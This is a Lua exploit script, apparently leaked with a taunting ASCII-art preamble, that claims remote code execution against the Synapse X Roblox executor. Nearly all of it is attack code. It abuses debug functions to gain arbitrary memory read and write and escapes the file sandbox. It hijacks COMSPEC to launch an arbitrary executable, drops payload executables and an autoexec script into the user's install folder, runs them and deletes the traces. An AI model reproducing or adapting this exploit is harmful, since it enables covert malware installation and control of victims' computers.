--[[
	
	
  ____  _            _      _    _       _     __  __           _          _ _        _____ _  __ _     _          _    _                             _ _         
 |  _ \| |          | |    | |  | |     | |   |  \/  |         | |        | ( )      / ____(_)/ _| |   | |        | |  | |                           (_) |        
 | |_) | | __ _  ___| | __ | |__| | __ _| |_  | \  / | ___   __| | ___  __| |/ ___  | |  __ _| |_| |_  | |_ ___   | |__| |_   _ _ __ ___   __ _ _ __  _| |_ _   _ 
 |  _ <| |/ _` |/ __| |/ / |  __  |/ _` | __| | |\/| |/ _ \ / _` |/ _ \/ _` | / __| | | |_ | |  _| __| | __/ _ \  |  __  | | | | '_ ` _ \ / _` | '_ \| | __| | | |
 | |_) | | (_| | (__|   <  | |  | | (_| | |_  | |  | | (_) | (_| |  __/ (_| | \__ \ | |__| | | | | |_  | || (_) | | |  | | |_| | | | | | | (_| | | | | | |_| |_| |
 |____/|_|\__,_|\___|_|\_\ |_|  |_|\__,_|\__| |_|  |_|\___/ \__,_|\___|\__,_| |___/  \_____|_|_|  \__|  \__\___/  |_|  |_|\__,_|_| |_| |_|\__,_|_| |_|_|\__|\__, |
                                                                                                                                                             __/ |
                                                                                                                                                            |___/                                                                                                                                                                                                                                                                                                                         
                                                                                                                                                            
                          :.:                                                                       
                         :. :.  . ..                                             .                  
             .           :;..     ...  ...                                                          
                          ..    .         ..          .        .                .              .    
                         :..  ..         .:.......:.                                  .             
                         :.....        ... ...........                                              
                         ;:.:...     .             ....:                          .                 
                          ;::...   ..                ....                                           
                           ;::......                  ...:                                         .
                          :;::::...       .            ..::.:::.                                    
                          ;+;;;:..                      .:.&&&&&:.:;                                
                 .         +;;;:..                      .. &&&&&&&$;:;                              
       .                    +;+....                     . .&&&&&&&$Xx;::                     .      
                             x:.....                   .. .&&&&&&$$Xx+;:+.                       .  
    .   ..   .               .::.....                 .. .&&&&&&X$Xx+;;::+   .       .   .   .      
                              :::......              ..  &&&&&&$XXxx+;;:;:.  .                      
                              :::::........    .  .... .&&&&&&$$Xx+;;;:..:+   .                    .
          .                   ;:::::................: .&&&&&&$$Xxx+;;::..:;                         
                        . .   .;;::::::.:..........:. .&&&&$X$Xxx+;;::.. ;;                         
 .                             +;;;;::::::::::::::::  .&&&&X$Xx++;;:...  ;;                         
                                +;;;;;;:;::::::::::;. .&&&$$Xx++;::...   :+                         
                  .      . .     ++++;;;;;;;;;;;;;;;.  &$$XXxx+;::...   ;:+                         
                                  ;++++++;;;+;;;;;;++  .$XXx++;::...    :;                      .   
                                    xx+x+x+++++++++++:  .xx+;;::...    :::            .             
    .                               . xxxxxxx+xxxxxxxx:...+;;::..    .::x                           
           .                            XxXxxXXxxxxXxxXX....:....  ;;::;                            
                                           XXXXXXXXXXXXXXX...::::::::+                              
     .  .        .                       .      ..:+;.      .;;;;;+ .            .   .  ..   .  ..                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                      
             
             
	- The Official 2021 Synapse X RCE -
	
	
	Authors: Cook, Black Hat Moded, cute Courtney, others
	License: anal retentive
	Contact: gregory@mailinator.com
	Note for Readers: thank you for 10 years of [ENDLESS LOVE]
	
	Period of Reign: August 2021 - December 2021 (Fully within The Augur's reign with his All Encompassing Power. Of course we used this alongside it)
	

	To 3ds:
	here's to the crazy ones. the misfits. the rebels. 
	the prompters. the blue dogs in the orange pool.
	your cute attempts at cutting off my source of
	revenue are futile at best. you call yourself a
	winner but you're just a big underachieving loser
	that survives off of the fact that you're going
	to love dogs every year challenge things correctly
	beast attention.

	you've been beaten. busted. ransacked. destroyed.
			A. N. N. I. H. I. L. A. T. E. D.

	ADD SIZZLE TO YOUR SUMMER 3DS - ADD ME TO YOUR MSN!

	you've given me a wonderful pleasure these past years
	breaking & busting and fixing & hacking and luvving
	some people just have not a clue on when to quit...
	...and i knew you'd never quit giving me those moments
	to bust & break and fix & hack and luv.

	...so i kept the pieces of you with me
	so that you wouldn't be lonely & broken all by yourself.

	we were in this together you and i
	& i hope that you finally got the message

	White is victorious

	and now i leave you with all my love.

	i've kept it with me always.
	& here it is delivered to you

	from the bottom of my heart
	yours truly

	~ * . ~ i had to fight like crazy to get here ~ . * ~

	<<3 Girl, we got a good thing <<3
	 You know where this is heading, uh-huh
	Just a couple love birds
	   Happy to be singing, uh-huh
	 Girl, we got a good thing
		and I don't see this ending
	  Do you wanna fly? Do you wanna flee?
		 Do you wanna get away with me?
	   Do you wanna face the great....
	Unknown
]]--

local env = getfenv()
local registry = getreg()
local exe = ... -- Sorry but BHM will not open source this part! It's any arbitrary .exe that BHM's Gift to Humanity would have allowed to run on Synapse X anyways!

local wait, typeof, setfenv, newproxy, getmetatable, getnamecallmethod, setnamecallmethod, game, xpcall, pcall, getreg, hookfunction, writefile, rconsoleclear, rconsolename, rconsoleerr, rconsoleprint, spawn = env.wait, env.typeof, env.setfenv, env.newproxy, env.getmetatable, env.getnamecallmethod, env.setnamecallmethod, env.game, env.xpcall, env.pcall, env.getreg, env.hookfunction, env.writefile, env.rconsoleclear, env.rconsolename, env.rconsoleerr, env.rconsoleprint, env.spawn
local string_pack, string_unpack, string_sub, string_gsub, string_byte, string_split, string_format, string_char, string_rep, string_find = string.pack, string.unpack, string.sub, string.gsub, string.byte, string.split, string.format, string.char, string.rep, string.find
local coroutine_create, coroutine_resume, coroutine_yield = coroutine.create, coroutine.resume, coroutine.yield
local debug_getstack, debug_setstack, debug_setconstant, debug_setupvalue, debug_getproto = debug.getstack, debug.setstack, debug.setconstant, debug.setupvalue, debug.getproto
local table_create, table_insert, table_concat = table.create, table.insert, table.concat
local bit32_bxor, bit32_band, bit32_rshift = bit32.bxor, bit32.band, bit32.rshift
local math_random = math.random
local syn_crypt_base64_decode = syn.crypt.base64.decode
local bit_badd, bit_bsub = bit.badd, bit.bsub
local instance_new = Instance.new
local math_random = math.random

local folder = game:GetObjects("rbxassetid://7686168426")[1] -- Up to you to archive this, we are not re-uploading!
local modules = {}

for i,v in pairs(folder:children()) do
	local f = loadstring(v.Source)
	modules[v.Name] =  hookfunction(f, f)
end

spawn(function()
	for i,v in pairs(modules) do
		pcall(function() 
			debug_getproto(v, math_random(1, 4))
		end)
		wait(math_random(1, 6))
	end
end)

local script = modules["Aimbot"]
local script = modules["ESP"]
local script = modules["AntiLag"]
local script = modules["Aimbot"]
local script = modules["ESP"]
local script = modules["Aimbot"]

local bypassWorkspace, run_program do
	local OBF_ADD, OBF_SUB, OBF_XOR, OBF_NEG = 1, 2, 3, 4

	local roblox_TString_next
		= 20
	local roblox_GCObject_root
		= 0
	local roblox_UData_next
		= 16
	local roblox_shared_ptr_value, roblox_shared_ptr_lock
		= 0, 4
	local roblox_LClosure_p, roblox_LClosure_p_obf, roblox_LClosure_ups
		= 24, nil, 28
	local roblox_UpVal_v, roblox_UpVal_value
		= 8, 16
	local roblox_DoubleConstrainedValue_MinValue
		= 120
	local roblox_CClosure_ups
		= 40

	local function xorDoubleAbuse(double)
		local findPlayer = debug_getproto(script, 1)

		local _children = function()
			local result

			local _children_obj = newproxy(true)
			local phase = 0

			getmetatable(_children_obj).__index = function(obj, idx)
				if phase == 0 then
					phase = phase + 1
					debug_setstack(2, 5, double)
					return { Name = 0 }
				elseif phase == 1 then
					phase = phase + 1
					result = debug_getstack(2, 6)
					return { Name = 1; } 
				elseif phase == 2 then
					return result
				end
			end

			getmetatable(_children_obj).__len = function(a)
				return 0
			end

			return _children_obj
		end

		local _game = { Players = { children = _children } }
		setfenv(findPlayer, { game = _game })

		debug_setconstant(findPlayer, 4, 2^1024)
		debug_setconstant(findPlayer, 5, 1)

		local result = findPlayer(1)
		if not result then
			debug_setconstant(findPlayer, 4, -2^1024)
			debug_setconstant(findPlayer, 5, -1)
			result = findPlayer(1)
		end

		return result
	end

	local function xorClosureAbuse()
		local getPlayer = debug_getproto(script, 2)
		local retfunc

		local _game = { Players = { LocalPlayer = 0 }}
		setfenv(getPlayer, { game = _game; typeof = typeof; pcall = function(func) 
			retfunc = func
			return true, xorDoubleAbuse(func)
		end})

		local loc = string_unpack("I4", string_pack("d", getPlayer("me")))
		return retfunc, loc
	end

	local function getDummyFunc()
		local dummyFunc
		local getPlayer = debug_getproto(script, 2)

		local _game = { Players = { LocalPlayer = 0 }}
		setfenv(getPlayer, { game = _game; typeof = typeof; pcall = function(func) 
			dummyFunc = func
		end})

		getPlayer("me")
		return dummyFunc
	end

	local function getHandler()
		return debug_getproto(script, 3) 
	end

	local memory_badd do
		function memory_badd(x, y)
			local res = bit_badd(x, y)
			if res < 0 then
				local b32HH = bit32_band(bit32_rshift(res, 24), 0xff)
				local b32HL = bit32_band(bit32_rshift(res, 16), 0xff)
				local b32LH = bit32_band(bit32_rshift(res, 8), 0xff)
				local b32LL = bit32_band(res, 0xff)
				res = string_unpack("I4", string_char(b32LL, b32LH, b32HL, b32HH))
			end
			return res
		end
	end

	local memory_bsub do
		function memory_bsub(x, y)
			local res = bit_bsub(x, y)
			if res < 0 then
				local b32HH = bit32_band(bit32_rshift(res, 24), 0xff)
				local b32HL = bit32_band(bit32_rshift(res, 16), 0xff)
				local b32LH = bit32_band(bit32_rshift(res, 8), 0xff)
				local b32LL = bit32_band(res, 0xff)
				res = string_unpack("I4", string_char(b32LL, b32LH, b32HL, b32HH))
			end
			return res
		end
	end

	local OBF = {
		[OBF_ADD] = function(mode, offset, value)
			if mode == 0 then
				return memory_badd(value, offset)
			else
				return memory_bsub(value, offset)
			end
		end;
		[OBF_SUB] = function(mode, offset, value)
			if mode == 0 then
				return memory_bsub(value, offset)
			else
				return memory_badd(offset, value)
			end
		end;
		[OBF_XOR] = function(mode, offset, value)
			return bit32_bxor(offset, value)
		end;
		[OBF_NEG] = function(mode, offset, value)
			if mode == 0 then
				return memory_bsub(offset, value)
			else
				return memory_bsub(offset, value)
			end
		end
	}

	local memory_xorDouble, memory_encodeUInt, memory_encodeUInt2 do
		function memory_xorDouble(double)
			return xorDoubleAbuse(double)
		end

		function memory_encodeUInt(i)
			return memory_xorDouble(string_unpack("d", string_pack("I4", i) .. "\0\0\0\0"))
		end

		function memory_encodeUInt2(i1, i2)
			return memory_xorDouble(string_unpack("d", string_pack("I4", i1) .. string_pack("I4", i2)))
		end
	end

	local memory_read, memory_readUChar, memory_readUInt, memory_readInt do
		local connection = instance_new("BindableEvent").Event:Connect(function() end)

		local namecallObject = newproxy(true)
		getmetatable(namecallObject).__namecall = function()
			connection[getnamecallmethod()]()
		end

		local errorFunc = getDummyFunc()
		setfenv(errorFunc, { game = { Players = namecallObject } })

		local function handler(err)
			setnamecallmethod('')

			err = string_sub(err, 1, -46)

			if #err == 0 then
				err = '\0'
			end

			return err
		end

		local function memory_readCString(address)
			local addressAsDouble = memory_encodeUInt(address - roblox_TString_next)

			debug_setconstant(errorFunc, 3, addressAsDouble)

			local _, data = xpcall(errorFunc, handler)
			return data
		end

		function memory_read(position, leftToRead)
			local buffer = ''

			while leftToRead > 0 do
				local data = memory_readCString(position)
				local dataSize = #data

				if dataSize > leftToRead then
					buffer = buffer .. string_sub(data, 1, leftToRead)
					break
				else
					buffer = buffer .. data
					leftToRead = leftToRead - dataSize
					position = position + dataSize
				end
			end

			return buffer
		end

		function memory_readUChar(address)
			return string_unpack("B", memory_read(address, 1))
		end

		function memory_readUInt(address)
			return string_unpack("I4", memory_read(address, 4))
		end

		function memory_readInt(address)
			return string_unpack("i4", memory_read(address, 4))
		end
	end

	local memory_getGCObject do
		function memory_getGCObject(kArg)
			local func, funcAddress = xorClosureAbuse()

			while funcAddress == 0 do
				func, funcAddress = xorClosureAbuse()
			end

			debug_setupvalue(func, 1, kArg)
			local res = memory_readUInt(funcAddress + roblox_LClosure_ups + 4)
			res = memory_readUInt(res + roblox_UpVal_value)

			if typeof(kArg) == "Instance" then
				res = memory_readUInt(res + roblox_UData_next + roblox_shared_ptr_value)
			end

			return res
		end
	end

	local memory_write do
		local function memory_writeExploit(address, buffer)  
			if not roblox_LClosure_p_obf then
				local c1 = function() end
				local c2 = hookfunction(c1, c1)

				local c1_address = memory_getGCObject(c1)
				local c2_address = memory_getGCObject(c2)

				local p1 = memory_readUInt(c1_address + roblox_LClosure_p)
				local p2 = memory_readUInt(c2_address + roblox_LClosure_p)

				if OBF[OBF_XOR](0, c1_address + roblox_LClosure_p, p1)
					== OBF[OBF_XOR](0, c2_address + roblox_LClosure_p, p2) then
					roblox_LClosure_p_obf = OBF_XOR
				elseif OBF[OBF_ADD](0, c1_address + roblox_LClosure_p, p1)
					== OBF[OBF_ADD](0, c2_address + roblox_LClosure_p, p2) then
					roblox_LClosure_p_obf = OBF_ADD
				elseif OBF[OBF_SUB](0, c1_address + roblox_LClosure_p, p1)
					== OBF[OBF_SUB](0, c2_address + roblox_LClosure_p, p2) then
					roblox_LClosure_p_obf = OBF_SUB
				elseif OBF[OBF_NEG](0, c1_address + roblox_LClosure_p, p1)
					== OBF[OBF_NEG](0, c2_address + roblox_LClosure_p, p2) then
					roblox_LClosure_p_obf = OBF_NEG
				end
			end

			local dcv = instance_new("DoubleConstrainedValue")

			local dummy_func = getDummyFunc()
			local f_address = memory_getGCObject(dummy_func)

			local up = memory_readUInt(f_address + roblox_LClosure_ups + 4)
			local up_mem = memory_read(up, 32)

			up_mem = string_sub(up_mem, 1, roblox_UpVal_v)
				.. string_pack("I4", address)
				.. string_sub(up_mem, roblox_UpVal_v + 5)
			local up_loc = memory_getGCObject(up_mem) + roblox_TString_next

			local cl = memory_getGCObject(dcv) + roblox_DoubleConstrainedValue_MinValue
			cl = (cl + 4) - roblox_LClosure_p

			local p = memory_readUInt(f_address + roblox_LClosure_p)
			p = OBF[roblox_LClosure_p_obf](0, f_address + roblox_LClosure_p, p)
			p = OBF[roblox_LClosure_p_obf](1, cl + roblox_LClosure_p, p)

			local i, d1 = 0, nil
			while d1 ~= dcv.MinValue do
				d1 = string_unpack("d", string_pack("I4", i) .. string_pack("I4", p))
				dcv.MinValue = d1
				i = i + 1
			end

			local i2, d2 = 0, nil
			while d2 ~= dcv.MaxValue do
				d2 = string_unpack("d", string_pack("I4", i2) .. string_pack("I4", up_loc))
				dcv.MaxValue = d2
				i2 = i2 + 1
			end

			buffer = memory_encodeUInt2(
				string_unpack("I4", string_sub(buffer, 1, 4)), string_unpack("I4", string_sub(buffer, 5))
			)

			local handler = getHandler()
			local _workspace = newproxy(true)

			getmetatable(_workspace).__index = function(obj, idx)
				if idx == "FindFirstChild" then
					return function() end
				elseif idx == "Name" then
					debug_setstack(2, 1, buffer)
					debug_setstack(3, -1, memory_encodeUInt(cl))
				end
			end

			setfenv(handler, {
				workspace = _workspace;
				pcall = function(func) func() end
			})

			handler()
		end

		function memory_write(address, buffer)
			buffer = buffer .. string_rep('\0', #buffer % 8 == 0 and 0 or 8 - (#buffer % 8))
			for i = 1, #buffer / 8 do
				memory_writeExploit(address + (i - 1) * 8, string_sub(buffer, ((i - 1) * 8) + 1, ((i - 1) * 8) + 8)) 
			end
		end
	end

	function bypassWorkspace()
		local wf_address = memory_getGCObject(writefile)
		local wf_ud = memory_readUInt(wf_address + roblox_CClosure_ups)
		local wf_fc = memory_readUInt(wf_ud)

		local mov_opr = memory_readUInt(wf_fc + 0x71d + 1);
		local w_string = memory_readUInt(mov_opr)

		local w_path = memory_read(w_string, 256)
		local w_end = string_find(w_path, "\0\0")

		local syn_path = string_sub(w_path, 6, w_end)
		syn_path = string_gsub(syn_path, '\0', '')
		syn_path = string_sub(syn_path, 1, #syn_path - 9)

		local syn_path_full = string_sub(w_path, 1, w_end)
		syn_path_full = string_gsub(syn_path_full, '\0', '')
		syn_path_full = string_sub(syn_path_full, 1, #syn_path_full - 9)

		local push_opr = memory_readUInt(wf_fc + 0x1ED + 1)
		memory_write(mov_opr + 16, "\2\0\0\0\47\0\0\0\0")
		memory_write(push_opr, ".POW")

		return syn_path, syn_path_full
	end

	function run_program(appExe)
		local rc_address = memory_getGCObject(rconsoleclear)
		local rc_ud = memory_readUInt(rc_address + roblox_CClosure_ups)
		local rc_fc = memory_readUInt(rc_ud)

		local rc_mem = memory_read(rc_fc, 17)
		local call_i = string_find(rc_mem, string_char(0xE8)) - 1

		local system_loc = memory_readInt(rc_fc + call_i + 1) + (rc_fc + call_i + 5)

		local sys_mem = memory_read(system_loc, 17)
		local jmp_i = string_find(sys_mem, string_char(0xE9)) - 1

		system_loc = memory_readInt(system_loc + jmp_i + 1) + (system_loc + jmp_i + 5) 
		local comspec = memory_readUInt(system_loc +  0x1d + 1)

		memory_write(comspec, "AAAAAAA\0" .. appExe)
		rconsoleclear()
		memory_write(comspec, "COMSPEC\0cmd.exe\0/c\0")
	end
end

pcall(function()
	if registry["gentoo_installer.exe"] then
		local synPath, synPathFull = bypassWorkspace()

		local autorunBody = syn_crypt_base64_decode[==[REDACTED BY BHM]==] -- Privacy request approved by the Secret Service Governing Council
		writefile(synPath .. "autoexec/init.lua", autorunBody)

		local payloadBody = registry[exe] .. ""
		writefile(synPath .. "bin/SLAgent.exe", payloadBody)

		local payloadBody = registry["gentoo_installer.exe"] .. ""
		writefile(synPath .. "bin/SXLib.exe", payloadBody)

		run_program(string_format([==[%sbin\SXLib.exe]==], synPathFull))
		delfile(string_format([==[%sbin\SXLib.exe]==], synPath))
	end
end)